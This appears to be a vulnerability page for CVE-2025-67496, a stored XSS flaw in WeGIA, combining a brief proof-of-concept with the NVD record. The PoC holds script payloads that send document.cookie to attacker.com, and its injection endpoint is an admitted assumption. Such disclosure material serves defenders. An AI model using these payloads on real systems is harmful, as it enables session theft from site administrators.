CVE-2025-67496

// CVE-2025-67496 Stored XSS PoC // Target: WeGIA <= 3.5.4 // Endpoint: /WeGIA/html/geral/configurar_senhas.php // Step 1: Inject XSS payload via employee name field // Assuming there's an admin panel or API to update employee details: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Example HTTP request to update employee name (if direct API exists): /* POST /WeGIA/api/employees/update HTTP/1.1 Host: target.com Content-Type: application/json { "employee_id": 123, "name": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" } */ // Step 2: When admin visits configurar_senhas.php, the XSS executes // The dropdown will contain: /* <select name="employee"> <option value="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> </option> </select> */ // Simpler payload examples: const simplePayload = '<img src=x onerror="alert(document.cookie)">';

{"cve": {"id": "CVE-2025-67496", "sourceIdentifier": "[email protected]", "published": "2025-12-09T23:16:00.110", "lastModified": "2025-12-18T20:08:59.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Versions 3.5.4 and below contain a Stored Cross-Site Scripting (XSS) vulnerability in the /WeGIA/html/geral/configurar_senhas.php endpoint. The application does not sanitize user-controlled data before rendering it inside the employee selection dropdown. The application retrieves employee names from the database and injects them directly into HTML <option> elements without proper escaping. This issue is fixed in version 3.5.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.5", "matchCriteriaId": "7D4A9A61-EFD9-42BF-B18E-79D2D657DEFD"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/c80b8cacd310fd459df61c030fb267c5e68cafc7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.5.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-9843-qm67-73h2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-9843-qm67-73h2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}